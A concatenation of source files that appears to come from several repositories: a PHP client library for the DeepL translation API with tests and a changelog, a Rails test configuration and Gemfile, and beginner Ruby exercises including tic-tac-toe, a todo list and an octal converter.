<file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector; use Psr\Http\Client\ClientInterface; use Psr\Http\Message\RequestFactoryInterface; use Psr\Http\Message\StreamFactoryInterface; class DeeplClientFactoryTest extends TestCase { public function testCreateReturnsClientWithCustomLibraries(): void { $client = $this->createMock(ClientInterface::class); $requestFactory = $this->createMock(RequestFactoryInterface::class); $streamFactory = $this->createMock(StreamFactoryInterface::class); $authKey = 'some-auth-key'; $this->assertInstanceOf( DeeplClientInterface::class, DeeplClientFactory::create( $authKey, $client, $requestFactory, $streamFactory ) ); } public function testCreateReturnsClientWithAutoDisovery(): void { $authKey = 'some-auth-key'; $this->assertInstanceOf( DeeplClientInterface::class, DeeplClientFactory::create( $authKey ) ); } } <file_sep><?php namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamInterface; interface DeeplRequestHandlerInterface { public const METHOD_POST = 'POST'; public const METHOD_GET = 'GET'; public function getMethod(): string; public function getPath(): string; public function getBody(): StreamInterface; public function getContentType(): string; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\TestCase; class DeeplSupportedLanguageRetrievalRequestHandlerTest extends TestCase { private string $authKey = 'some-auth-key'; private StreamFactoryInterface $streamFactory; private DeeplSupportedLanguageRetrievalRequestHandler $subject; protected function setUp(): void { $this->streamFactory = $this->createMock(StreamFactoryInterface::class); $this->subject = new DeeplSupportedLanguageRetrievalRequestHandler( $this->authKey, $this->streamFactory ); } public function testGetMethodReturnsValue(): void { static::assertSame( DeeplRequestHandlerInterface::METHOD_GET, $this->subject->getMethod() ); } public function testGetPathReturnsValue(): void { static::assertSame( '/v2/languages?type=target', $this->subject->getPath() ); } public function testGetContentTypeReturnsValue(): void { static::assertSame( 'application/x-www-form-urlencoded', $this->subject->getContentType() ); } public function testGetBodyReturnsValue(): void { $body = $this->createMock(StreamInterface::class); $this->streamFactory->expects($this->once()) ->method('createStream') ->with( http_build_query( [ 'auth_key' => $this->authKey, ] ) ) ->willReturn($body); static::assertSame( $body, $this->subject->getBody() ); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface FileTranslationConfigInterface { public function getFileContent(): string; public function setFileContent(string $fileContent): FileTranslationConfigInterface; public function getFileName(): string; public function setFileName(string $fileName): FileTranslationConfigInterface; public function getTargetLang(): string; public function setTargetLang(string $targetLang): FileTranslationConfigInterface; public function getSourceLang(): string; public function setSourceLang(string $sourceLang): FileTranslationConfigInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Enum\TextHandlingEnum; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; use Scn\DeeplApiConnector\TestCase; class DeeplTranslationRequestHandlerTest extends TestCase { /** * @var DeeplTranslationRequestHandler */ private $subject; /** @var StreamFactoryInterface|MockObject */ private $streamFactory; /** * @var TranslationConfigInterface|MockObject */ private $translation; public function setUp(): void { $this->streamFactory = $this->createMock(StreamFactoryInterface::class); $this->translation = $this->createMock(TranslationConfigInterface::class); $this->subject = new DeeplTranslationRequestHandler( 'some key', $this->streamFactory, $this->translation ); } public function testGetPathCanReturnPath(): void { $this->assertSame(DeeplTranslationRequestHandler::API_ENDPOINT, $this->subject->getPath()); } public function testGetBodyCanReturnFilteredArray(): void { $stream = $this->createMock(StreamInterface::class); $this->translation->expects($this->once()) ->method('getText') ->willReturn('some text to translate'); $this->translation->expects($this->once()) ->method('getTargetLang') ->willReturn('some target language'); $this->streamFactory->expects($this->once()) ->method('createStream') ->with( http_build_query( [ 'text' => 'some text to translate', 'target_lang' => 'some target language', 'auth_key' => 'some key', ] ) ) ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetBodyCanReturnArrayWithOptionalTags(): void { $stream = $this->createMock(StreamInterface::class); $this->translation->expects($this->once()) ->method('getText') ->willReturn('some text to translate'); $this->translation->expects($this->once()) ->method('getTargetLang') ->willReturn('some target language'); $this->translation->expects($this->once()) ->method('getSourceLang') ->willReturn('some source lang'); $this->translation->expects($this->once()) ->method('getTagHandling') ->willReturn(['a', 'b']); $this->translation->expects($this->once()) ->method('getNonSplittingTags') ->willReturn(['b', 'a', 'c']); $this->translation->expects($this->once()) ->method('getIgnoreTags') ->willReturn(['ef', 'fa', 'qa']); $this->translation->expects($this->once()) ->method('getSplitSentences') ->willReturn(TextHandlingEnum::SPLITSENTENCES_ON); $this->translation->expects($this->once()) ->method('getPreserveFormatting') ->willReturn(TextHandlingEnum::PRESERVEFORMATTING_ON); $this->streamFactory->expects($this->once()) ->method('createStream') ->with( http_build_query( [ 'text' => 'some text to translate', 'target_lang' => 'some target language', 'source_lang' => 'some source lang', 'tag_handling' => 'a,b', 'non_splitting_tags' => 'b,a,c', 'ignore_tags' => 'ef,fa,qa', 'split_sentences' => '1', 'preserve_formatting' => '1', 'auth_key' => 'some key', ] ) ) ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetMethodCanReturnMethod(): void { $this->assertSame(DeeplRequestHandlerInterface::METHOD_POST, $this->subject->getMethod()); } public function testGetContentTypeReturnsValue(): void { $this->assertSame( 'application/x-www-form-urlencoded', $this->subject->getContentType() ); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; use stdClass; interface BatchTranslationInterface { /** * @return array<array{text: string, detected_source_language: string}> */ public function getTranslations(): array; /** * @param array<stdClass> $texts */ public function setTranslations(array $texts): BatchTranslationInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; final class DeeplTranslationRequestHandler implements DeeplRequestHandlerInterface { private const SEPARATOR = ','; public const API_ENDPOINT = '/v2/translate'; private string $authKey; private StreamFactoryInterface $streamFactory; private TranslationConfigInterface $translation; public function __construct( string $authKey, StreamFactoryInterface $streamFactory, TranslationConfigInterface $translation ) { $this->authKey = $authKey; $this->streamFactory = $streamFactory; $this->translation = $translation; } public function getMethod(): string { return DeeplRequestHandlerInterface::METHOD_POST; } public function getPath(): string { return static::API_ENDPOINT; } public function getBody(): StreamInterface { return $this->streamFactory->createStream( http_build_query( array_filter( [ 'text' => $this->translation->getText(), 'target_lang' => $this->translation->getTargetLang(), 'source_lang' => $this->translation->getSourceLang(), 'tag_handling' => implode( static::SEPARATOR, $this->translation->getTagHandling() ), 'non_splitting_tags' => implode( static::SEPARATOR, $this->translation->getNonSplittingTags() ), 'ignore_tags' => implode(static::SEPARATOR, $this->translation->getIgnoreTags()), 'split_sentences' => $this->translation->getSplitSentences(), 'preserve_formatting' => $this->translation->getPreserveFormatting(), 'auth_key' => $this->authKey, ] ) ) ); } public function getContentType(): string { return 'application/x-www-form-urlencoded'; } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface TranslationInterface { public function getDetectedSourceLanguage(): string; public function setDetectedSourceLanguage(string $detectedSourceLanguage): TranslationInterface; public function getText(): string; public function setText(string $text): TranslationInterface; } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface BatchTranslationConfigInterface { /** * @return array<string> */ public function getText(): array; /** * @param array<string> $text */ public function setText(array $text): BatchTranslationConfigInterface; public function getTargetLang(): string; public function setTargetLang(string $targetLang): BatchTranslationConfigInterface; /** * @return array<string> */ public function getTagHandling(): array; /** * @param array<string> $tagHandling */ public function setTagHandling(array $tagHandling): BatchTranslationConfigInterface; /** * @return array<string> */ public function getNonSplittingTags(): array; /** * @param array<string> $nonSplittingTags */ public function setNonSplittingTags(array $nonSplittingTags): BatchTranslationConfigInterface; /** * @return array<string> */ public function getIgnoreTags(): array; /** * @param array<string> $ignoreTags */ public function setIgnoreTags(array $ignoreTags): BatchTranslationConfigInterface; public function getSplitSentences(): string; public function setSplitSentences(string $splitSentences): BatchTranslationConfigInterface; public function getPreserveFormatting(): string; public function setPreserveFormatting(string $preserveFormatting): BatchTranslationConfigInterface; } <file_sep># Changelog ## [3.3.0] - 2023-mm-dd ### Added - Add method for batch translation of multiple texts #42 ## [3.2.0] - 2023-01-04 ### Added - Add method for retrieving all supported languages by deepl ### Fixed - Erroneous responses due to server- or client-errors now throw a `RequestException` ## [3.1.0] - 2022-09-20 ### Added - Add support for recently added languages (ukrainian, indonesian, turkish) ## [3.0.5] - 2022-06-07 ### Fixed - Correct deepl response header parsing for file submissions (the header has been changed upstream) ## [3.0.4] - 2022-04-27 ### Fixed - Removed erroneous method call on ClientExceptionInterface instances in error case (psr-18 migration aftermath) ## [3.0.3] - 2022-03-01 ### Changed - File RequestHandler Method from get to post ## [3.0.2] - 2022-02-28 ### Changed - FileStatus RequestHandler Method from get to post ## [3.0.1] - 2022-02-25 ### Added - phpstan static analyses (dev) ### Fixed - File- Upload Error (invalid file data) ## [3.0.0] - 2022-01-20 ### Added - Support Deepl Free Api (https://support.deepl.com/hc/en/articles/360021200939-DeepL-API-Free) - Documentation for own HttpClient Implementation - PSR18 Support #39 - Documentation improvments ### Changed - Move SplitSentences/Formatting Options to seperate Enum ## [2.2.0] - 2021-03-25 ### Added - Support new languages introduced by deepl (https://www.deepl.com/blog/20210316/) - Support PHP8 ## [2.1.2] - 2020-12-21 ### Added - Let the original exception bubble up within the RequestException (Thx @Mistralys) ## [2.1.1] - 2020-07-27 ### Added - Missing changelog update for 2.1.0 ## [2.1.0] - 2020-07-20 ### Added - Support japanese and simplified chinese ## [2.0.0] - 2019-08-02 ### Changed - move Language Constants to separate Enum - prettify classes/interfaces ## [1.4.0] - 2019-08-01 ### Added - new Feature File Translation ## [1.3.0] - 2019-04-12 ### Added - new Language PT/RU ### Changed - added PHP7.3 Travis ## [1.2.0] - 2018-11-14 ### Added - Changelog ### Changed - Deepl Endpoint to v2 ## [1.1.0] - 2018-10-19 ### Changed - return typehints and typehints for scalar vars - Minimum required php version: 7.2 ## [1.0.1] - 2018-06-22 ### Added - Add missing methods in interface declarations ## [1.0.0] - 2018-06-04 ### Added - Initial Release <file_sep><?php namespace Scn\DeeplApiConnector\Handler; use Scn\DeeplApiConnector\Model\BatchTranslationConfigInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; interface DeeplRequestFactoryInterface { public function createDeeplTranslationRequestHandler( TranslationConfigInterface $translation ): DeeplRequestHandlerInterface; public function createDeeplBatchTranslationRequestHandler( BatchTranslationConfigInterface $translation ): DeeplRequestHandlerInterface; public function createDeeplUsageRequestHandler(): DeeplRequestHandlerInterface; public function createDeeplFileSubmissionRequestHandler( FileTranslationConfigInterface $fileTranslation ): DeeplRequestHandlerInterface; public function createDeeplFileTranslationStatusRequestHandler( FileSubmissionInterface $fileSubmission ): DeeplRequestHandlerInterface; public function createDeeplFileTranslationRequestHandler( FileSubmissionInterface $fileSubmission ): DeeplRequestHandlerInterface; public function createDeeplSupportedLanguageRetrievalRequestHandler(): DeeplRequestHandlerInterface; public function getDeeplBaseUri(): string; }
072516cfc24b793370448f677c11c2d1da246cb1
[ "Markdown", "PHP" ]
60
PHP
SC-Networks/deepl-api-connector
044cc2003093831ac5f0d7a852dcf19cb730eef1
df9ca43f75ebdedd1fa7cf25bbf45609a73fe29b
refs/heads/master
<file_sep>require 'rubygems' #uncomment the following line to use spork with the debugger #require 'spork/ext/ruby-debug' # Loading more in this block will cause your tests to run faster. However, # if you change any configuration or code from libraries loaded here, you'll # need to restart spork for it take effect. # This file is copied to spec/ when you run 'rails generate rspec:install' ENV["RAILS_ENV"] ||= 'test' require File.expand_path("../../config/environment", __FILE__) require 'rspec/rails' require 'rspec/autorun' require 'simplecov' require 'simplecov-rcov' # Requires supporting ruby files with custom matchers and macros, etc, # in spec/support/ and its subdirectories. Dir[Rails.root.join("spec/support/**/*.rb")].each {|f| require f} RSpec.configure do |config| SimpleCov.formatter = SimpleCov::Formatter::RcovFormatter SimpleCov.start 'rails' # From https://github.com/plataformatec/devise/wiki/How-To:-Controllers-tests-with-Rails-3-(and-rspec) config.include Devise::TestHelpers, :type => :controller # See https://github.com/plataformatec/devise/wiki/How-To:-Test-with-Capybara config.include Warden::Test::Helpers, :type => :request Warden.test_mode! config.infer_base_class_for_anonymous_controllers = false config.order = "random" config.before(:suite) do # p "BEFORE SUITE" # p "Setting the databse cleaner to mongoid with truncation" DatabaseCleaner[:mongoid].strategy = :truncation end config.after(:suite) do # p "AFTER SUITE" # p "DatabaseCleaner.clean" DatabaseCleaner.clean end config.include(MailerMacros) config.before(:each) do |x| if x.example.metadata[:demo_data].blank? # Only do this if not using demo data # p "BEFORE EACH: DatabaseCleaner.clean and make a Tenant and Medic Role" DatabaseCleaner.start # does nothing with Mongoid but is included in DatabaseCleaner for consistency DatabaseCleaner.clean # clean before rather than after in case run after a demo_data test #reset_email # ## basic seed data for integration tests #Tenant.make!(:name => 'superadmin') #Tenant.current = Tenant.make!(:hosts => ["127.0.0.1"]) #Role.make!(:medic) #Role.make!(:main_contact) #Role.make!(:admin) #Role.make!(:cd) #Role.make!(:lead) #Role.make!(:ro) #Role.make!(:medical_director) #Role.make!(:appraiser) #Role.make!(:msf_admin) #Role.make!(:jp_admin) #Role.make!(:speciality_lead) end end config.before(:all, :demo_data => true) do # p "BEFORE ALL DEMO DATA: Drop test and then populate Demo Data" if Mongoid.master.name == "sard_test_full" p "Dropping all collection in #{Mongoid.master.name}" Mongoid.master.collections.reject {|c| c.name =~ /^system/}.each(&:drop) sh "bundle exec mongorestore -h localhost #{Rails.root}/spec/assets/test_database" else p "Refusing to drop the database unless it's sard_test_full" end end Capybara.default_host = "http://127.0.0.1" Capybara.javascript_driver = :webkit #Capybara.server_port = 3000 # Capybara.app_host = "http://127.0.0.1" # Capybara.server_host = "http://127.0.0.1" end <file_sep>source 'http://rubygems.org' gem 'rails', '3.2.14.rc2' gem 'mongoid', '2.4.5' gem 'bson', '~> 1.4.0' gem 'bson_ext', '~> 1.4.0' gem 'mongoid_slug' gem 'state_machine' gem 'sass' gem 'haml' gem 'haml-rails' gem 'mongoid-paperclip', :require => 'mongoid_paperclip' #paperclip 3.1.4 #gem "aws-s3", :require => "aws/s3" #gem 'aws-sdk' gem 'devise' #gem 'yubikey' gem 'devise_invitable', :git => 'https://github.com/scambra/devise_invitable.git' gem 'will_paginate', '3.0.0' gem 'cancan' gem 'jquery-rails' #gem 'remotipart' gem 'tinymce-rails' gem 'google_visualr', '>= 2.1' #gem 'rake', '0.9.2.2' #gem 'rubyzip' gem 'compass' #gem 'exception_notification', :require => 'exception_notifier' # gem 'clamav', '0.4.1' gem 'therubyracer', '0.12.0' #gem 'brakeman' #gem 'rvm-capistrano' gem 'pdfkit' #gem 'gzip' gem 'resque', :require => 'resque/server' gem 'resque-logger' gem 'nested_form', '~> 0.3.1' gem 'wicked' #gem 'RedCloth' #gem 'pdf-reader' #gem 'validates_timeliness', '~> 3.0.14' gem 'backup' #gem 'fog', '~> 1.4.0' #gem 'parallel', '~> 0.5.12' gem 'draper', '~> 1.3' #gem 'chronic' #gem 'whenever', :require => false group :assets do gem 'sass-rails' gem 'coffee-rails' #gem 'uglifier' #gem 'compass', '~> 0.12.alpha' gem 'compass-rails' end gem 'unicorn' group :development do gem 'debugger' gem 'capistrano', '2.13.5' gem 'capistrano-ext' gem 'letter_opener' gem 'unicorn' gem 'guard-rspec' gem 'rvm-capistrano' gem 'jazz_hands' end group :test do gem 'jasmine' gem 'jasmine-headless-webkit' #gem 'poltergeist' gem 'headless' gem 'capybara-webkit' gem 'pickle' gem 'flog' gem 'ci_reporter' gem 'minitest-reporters', '>= 0.4.1' #JB for use in Rubymine IDE gem 'faker' gem 'simplecov' gem 'simplecov-rcov' gem 'rspec-rails','2.11.0' gem 'capybara', '1.1.2' gem 'cucumber-rails','1.3.0', :require => false gem 'database_cleaner','0.8.0' gem 'machinist_mongo', :git => 'https://github.com/nmerouze/machinist_mongo.git', :require => 'machinist/mongoid', :branch => 'machinist2' gem 'selenium-webdriver', '>= 2.30.0' gem 'factory_girl', '~> 4.2.0' gem 'pry' gem 'pry-doc' gem 'pry-nav' gem 'awesome_print' #gem 'spork', '~> 1.0rc' end group :production, :new_production do gem 'uglifier' end #gem 'passenger', :group => [:production, :staging] #gem 'unicorn', :group => [:development, :new_production, :vagrant] #gem 'capistrano-nginx-unicorn', require: false, group: :development
c4884f169d402de0e4ea75fdb435d8285b4b43d5
[ "Ruby" ]
2
Ruby
johaned/beta-app
cbed9cc8a99c38199251f30e12739bb7585314f0
417e63777b928511544bc5fbd10b7c2ed6508eb1
refs/heads/master
<file_sep>#exercise n. 1 words = ["laboratory", "experiment", "Pans Labyrinth", "elaborate", "polar bear"] words.each do |word| if word =~ /lab/ puts word end end #exercise n. 2 #nothing, the .call method inside the method block is missing #exercise n. 3 #exeption handling, handels errors and unexpected events or values, it tells the program what to do, when it encounters one #exercise n. 4 def execute(&block) block.call end execute { puts "Hello from inside the execute method!" } #exercise n. 5 #the & sign is missing in front of parameter. <file_sep># Question 1 10.times { |times| Kernel.puts (" " * times) + "The Flintstones Rock!" } # Question 2 statement = "The Flintstones Rock" hash = {} statement.each_char do |letter| if hash.has_key?(letter) hash[letter] += 1 else hash[letter] = 1 end end Kernel.puts(hash) # result = {} # letters = ('A'..'Z').to_a + ('a'..'z').to_a # letters.each do |letter| # letter_frequency = statement.scan(letter).count # result[letter] = letter_frequency if letter_frequency > 0 # end # Question 3 Kernel.puts("the value of 40 + 2 is #{(40 + 2)}") Kernel.puts("the value of 40 + 2 is " + (40 + 2).to_s) # Question 4 # numbers = [1, 2, 3, 4] # numbers.each do |number| # p number # numbers.shift(1) # end # p the first element in array (1), .shift(1) removes and returns it # iteration continues at index 1, but since element whit value 1 was removed, # element with value 2 is at index 0, so p outputs 3, which is now at index 1 # shift(1) now removes and returns value 2, iteration continues at index 2, # but there are no values at index 2 since array "numbers" now only contains # two elements # numbers = [1, 2, 3, 4] # p number # numbers.pop(1) # end # p the first element in array (1), and removes the last (4), # than p the second element (2) and removes the last (3) # Question 5 # def factors(number) # dividend = number # divisors = [] # begin # divisors << number / dividend if number % dividend == 0 # dividend -= 1 # end until dividend == 0 # divisors # end def factors(number) dividend = number divisors = [] while number > 0 do divisors << number / dividend if number % dividend == 0 dividend -= 1 end divisors end # the purpose of the number % dividend == 0 # is to only add integers to divisors array # method returns the array of all intiger divisors of "number" # Question 6 # The difference is, that + concatenates two arrays and returns a new array # append << operator pushes value to the same array, and returns itself # the first implementation of this method will mutate the passed array # while the second will not. It will return a new array # Question 7 # add an aditional parameter limit and pass in limit's value (15) # Question 8 # words.split.map { |word| word.capitalize }.join(' ') # .split method splits words based on a delimiter, # and returns an array of words, .map method returns a new array of values # specified by the block, # which capitalises every element in returned words.split array # and than joins all elements with a space between them. # Question 9 munsters = { "Herman" => { "age" => 32, "gender" => "male" }, "Lily" => { "age" => 30, "gender" => "female" }, "Grandpa" => { "age" => 402, "gender" => "male" }, "Eddie" => { "age" => 10, "gender" => "male" }, "Marilyn" => { "age" => 23, "gender" => "female"} } munsters.each do |_, value| case value["age"] when (0..17) value["age_group"] = "kid" when (18..64) value["age_group"] = "adult" else value["age_group"] = "senior" end end Kernel.puts(munsters) <file_sep>class Octal attr_reader :number def initialize(number) @number = number end def valid_octal? number.split('').each do |num| return false unless %w(0 1 2 3 4 5 6 7).include? num end end def to_decimal counter = 0 unit_array = number.reverse.split('') while counter < unit_array.size unit_array[counter] = unit_array[counter].to_i * (8**counter) counter += 1 end valid_octal? ? unit_array.inject(:+) : 0 end end <file_sep># Question 1 munsters = { "Herman" => { "age" => 32, "gender" => "male" }, "Lily" => { "age" => 30, "gender" => "female" }, "Grandpa" => { "age" => 402, "gender" => "male" }, "Eddie" => { "age" => 10, "gender" => "male" } } total_age = 0 munsters.each do |name, details| total_age += details["age"] if details["gender"] == "male" end puts total_age # Question 2 munsters = { "Herman" => { "age" => 32, "gender" => "male" }, "Lily" => { "age" => 30, "gender" => "female" }, "Grandpa" => { "age" => 402, "gender" => "male" }, "Eddie" => { "age" => 10, "gender" => "male" }, "Marilyn" => { "age" => 23, "gender" => "female"} } munsters.each do |name, details| puts "#{name} is #{details['age']} years old #{details['gender']}." end # Question 3 # add a return statement, that returns both parameters # Question 4 sentence = "<NAME> sat on a wall." puts sentence.split(' ').reverse.join(' ') # Question 5 # 34 # Question 6 # it changes the original hash # ? # Question 7 # returns paper # Question 8 # returns "no" # we pass method foo as a parameter to method bar # foo always returns "yes", so bar returns "no" <file_sep>#exercise n. 1 #it returns array x #exercise n. 2 answer = "" while answer != "STOP" puts "Input the password to stop the loop" answer = gets.chomp if answer == "STOP" puts "congratulations, you guessed it." end end #exercise n. 3 array = ["a", "b", "c", "d"] array.each_with_index do |value, index| puts "Value: #{value}, index: #{index}" end #exercise n. 4 def to_zero(number) if number <= 0 puts number else puts number to_zero(number-1) end end to_zero(66) <file_sep># exercise 1 class TheClass end my_object = TheClass.new # exercise 2 # Module is a collection of behaviors that is useable in # other classes via ``mixins`` (include). # It's purpose is to provide another way (beside classes) # to apply polymorphic structure to Ruby. # To group common methods, for their reusability # To add it to lookup chain, for namespacing # To use them with classes, keyword ``include`` is used. module TheModule end class MyClass include TheModule end my_object = MyClass.new <file_sep>array = [1, 2, 3, 4, 5, 6, 7, 8, 9, 10] new_array = [] #exercise n. 1 array.each do |element| puts element end #exercise n. 2 array.each do |element| if element > 5 puts element end end #exercise n. 3 array.select do |element| if element % 2 == 1 new_array << element end end puts new_array #exercise n. 4 array.push(11) array.unshift(0) puts array #exercise n. 5 array.pop array.push(3) puts array #exercise n. 6 array.uniq! puts array #exercise n. 7 #values in hash can be named with strings, symbols, variable names... #values in an array are referenced by postition in array #exercise n. 8 =begin old_hash = { value_2 => "something else" value => "thisandthat", } =end new_hash = { value: "thisandthat", value_2: "something else" } #exercise n. 9 h = { a: 1, b: 2, c: 3, d: 4 } puts "value of key \"b\" in hash \"h\" is #{h[:b]}" h[:e] = 5 puts h h.select do |key, value| if value < 3.5 h.delete(key) end end puts h #exercise n. 10 #Can hash values be arrays? Can you have an array of hashes? #Yes to both hash_with_arr = { nums: [1, 2, 3], letters: ["a", "b", "c"], bools: [true, false, false], hshs: [{a: 1, b: 2, c:3}, {d:4, e:5}] } arr_with_hsh = [{a:1, b:2}, {c:3, d:4}] puts hash_with_arr puts arr_with_hsh #exercise n. 11 #cannot decide for my favorite API, yet. #exercise n. 15 arr = ['snow', 'winter', 'ice', 'slippery', 'salted roads', 'white trees'] arr.delete_if {|word| word.start_with?("s", "w")} puts arr #exercise n. 17 #these hashes are the same <file_sep>class Todo DONE_MARKER = 'X' UNDONE_MARKER = ' ' attr_accessor :title, :description, :done def initialize(title, description='') @title = title @description = description @done = false end def done! self.done = true end def done? done end def undone! self.done = false end def to_s "[#{done? ? DONE_MARKER : UNDONE_MARKER}] #{title}" end end class TodoList attr_accessor :title, :todos def initialize(title) @title = title @todos = [] end def add(task) if task.class == Todo todos << task else raise TypeError, 'can only add Todo objects.' end todos end alias_method :<<, :add def size todos.size end def first todos.first end def last todos.last end def item_at(place) if todos.length < (place - 1) raise IndexError else todos[place] end end def mark_done_at(index) item_at(index).done! end def mark_undone_at(index) item_at(index).undone! end def shift todos.shift end def pop todos.pop end def remove_at(index) todos.delete_at(index) end def to_s text = "---- #{title} ----\n" text << todos.map(&:to_s).join("\n") text end def to_a todos end def each counter = 0 while counter < todos.length yield(todos[counter]) counter += 1 end self end def select list = TodoList.new(title) counter = 0 while counter < todos.length list.add(todos[counter]) if yield(todos[counter]) counter += 1 end list end def find_by_title(title) select { |todo| todo.title == title} end def all_done select { |todo| todo.done? } end def all_not_done select { |todo| !todo.done? } end def mark_done(title) find_by_title.done! end def mark_all_done each { |todo| todo.done! } end def mark_all_undone each { |todo| todo.undone! } end end todo1 = Todo.new("Buy milk") todo2 = Todo.new("Clean room") todo3 = Todo.new("Go to gym") list = TodoList.new("Today's todos") list << todo1 list.add(todo2) list.add(todo3) todo4 = Todo.new("Program alot") todo5 = Todo.new("Do something else") todo6 = Todo.new("And yet else") list << todo4 list << todo5 list << todo6 list.mark_done_at(1) # puts list # list.mark_done_at(1) # puts list list.each do |todo| puts todo end result = list.select do |todo| todo.done? end # puts result.inspect puts list p list.find_by_title("And yet else") <file_sep>WINNING_LINES = [[1, 2, 3], [4, 5, 6], [7, 8, 9]] + [[1, 4, 7], [2, 5, 8], [3, 6, 9]] + [[1, 5, 9], [3, 5, 7]].freeze INITIAL_MARKER = " ".freeze PLAYER_MARKER = "X".freeze COMPUTER_MARKER = "O".freeze MOVE_ORDER = 'choose'.freeze def prompt(message) puts "=> #{message}" end if MOVE_ORDER == 'choose' prompt "Would you like to go first(1), or second (2)?" order = '' loop do order = gets.chomp if order.include?("1") || order.include?("2") ORDER = order break else prompt "Input 1 to go first or 2 to go second." end end end # rubocop:disable Metrics/AbcSize def display_board(brd) system 'clear' puts "You're a #{PLAYER_MARKER}. Computer is #{COMPUTER_MARKER}." puts " | |" puts " #{brd[1]} | #{brd[2]} | #{brd[3]}" puts " | |" puts "-----+-----+-----" puts " | |" puts " #{brd[4]} | #{brd[5]} | #{brd[6]}" puts " | |" puts "-----+-----+-----" puts " | |" puts " #{brd[7]} | #{brd[8]} | #{brd[9]}" puts " | |" puts "" puts "" end # rubocop:enable Metrics/AbcSize def initialize_board new_board = {} (1..9).each { |num| new_board[num] = INITIAL_MARKER } new_board end def empty_squares(brd) brd.keys.select { |num| brd[num] == INITIAL_MARKER } end def player_places_piece!(brd) square = '' loop do joinor(empty_squares(brd), ', ', 'or') square = gets.chomp.to_i break if empty_squares(brd).include?(square) prompt "Not valid input" end brd[square] = PLAYER_MARKER end def find_at_risk_square(brd, line, marker) if brd.values_at(*line).count(marker) == 2 brd.select do |key, value| line.include?(key) && value == INITIAL_MARKER end.keys.first else nil end end def computer_places_piece!(brd) square = nil # offence first WINNING_LINES.each do |line| square = find_at_risk_square(brd, line, COMPUTER_MARKER) break if square end # defence second if !square WINNING_LINES.each do |line| square = find_at_risk_square(brd, line, PLAYER_MARKER) break if square end end # pick square number 5 square = 5 if brd[5] == INITIAL_MARKER # else pick at random square = empty_squares(brd).sample if !square brd[square] = COMPUTER_MARKER end def board_full?(brd) empty_squares(brd).empty? end def someone_won?(brd) !!detect_winner(brd) end def detect_winner(brd) WINNING_LINES.each do |line| if brd.values_at(*line).count(PLAYER_MARKER) == 3 return 'Player' elsif brd.values_at(*line).count(COMPUTER_MARKER) == 3 return 'Computer' end end nil end def joinor(arr, separator, word) all_but_last = arr[0..(arr.length - 2)] last_one = arr.last.to_s if arr.length > 1 prompt "Choose a square: #{all_but_last.join(separator)} " \ "#{word} " + last_one else prompt "Choose a square: #{all_but_last.join(separator)}." end end def display_score(score_chart) prompt "Score: Player: #{score_chart[:human_wins]} Computer: #{score_chart[:comp_wins]} Draws: #{score_chart[:draws]}\n\n\n" end score = { human_wins: 0, comp_wins: 0, draws: 0, round: 0 } def display_interface(brd, score_chart) display_board(brd) display_score(score_chart) end def current_player_places_piece!(brd, order) if brd.values.count(PLAYER_MARKER) < brd.values.count(COMPUTER_MARKER) player_places_piece!(brd) elsif brd.values.count(PLAYER_MARKER) > brd.values.count(COMPUTER_MARKER) computer_places_piece!(brd) # in case there are equal number of both markers, look for order of moves else if order == "1" player_places_piece!(brd) else computer_places_piece!(brd) end end end loop do if score[:human_wins] >= 5 || score[:comp_wins] >= 5 prompt "Play again?(y/n)" answer = gets.chomp break unless answer.downcase.start_with?('y') score = { human_wins: 0, comp_wins: 0, draws: 0, round: 0 } end board = initialize_board loop do display_interface(board, score) current_player_places_piece!(board, ORDER) display_interface(board, score) break if someone_won?(board) || board_full?(board) end if someone_won?(board) system 'clear' prompt "#{detect_winner(board)} won!" else prompt "It's a tie!" end case detect_winner(board) when "Player" score[:human_wins] += 1 when "Computer" score[:comp_wins] += 1 when nil score[:draws] += 1 end score[:round] += 1 end prompt 'Thanks for playing Tic Tac Toe, Good bye!' <file_sep># Question 1 # it will randomly print a sentence to the screen. # Question 2 # RoadTrip's instance method ``choices`` will override # superclass' instance method ``choices`` # therefore it will print a random sentence, generated from # the array, returned by method choices of class RoadTrip # Question 3 # to find the ancestors of a class, use .ancestors instance metod of class # Module, it will return Ruby's lookup path. # Question 4 # to replace two redundant methods, we could use ``attr_accessor`` method. # Question 5 # there are local variable, instance variable and class variable. # we can see that by looking at the prefix in the variable name. # Question 6 # here we have two methods; one is instance method and the other is a class # method. # class methods start with ``self`` # to call a class method use ClassName.method_name # Question 7 # in this case, the class variable, @@cats_count # is incrementen by 1 in the initialize method, which is called # every time .new method is called. # it counts the number of Cat instances created. # Question 8 # if we want a class to inherit from another class we use ``<`` # like this ``SubClass < SuperClass`` # Question 9 # if we create a new instance method in a sub-class # that already exsists in super-class, and call it on an instance of the # sub-class, it will call the instance method defined in the sub-class. # sub-class' method will override super-class' instace method. # Question 10 # some of the benefits of the OOP are: # allowing the programmer to think more abstractly # objects are easier to conceptualize # solving some namespace issues # less duplication # faster development of programs, due to code re-usage # easier managment of program's complexity <file_sep>def each(arry) counter = 0 while counter < arry.length yield(arry[counter]) counter += 1 end arry end my_array = %w(1 2 3 4 5 6 7 8 9) ar = %w(a b c d e f g h) each(my_array) do |num| puts num end each(ar) do |num| puts num end each([1, 2, 3]) { |element| puts "sdasdad" } <file_sep>#exercise n. 1 puts "Kristof " + "Crnivec" #exercise n. 2 puts "number is 5321" puts 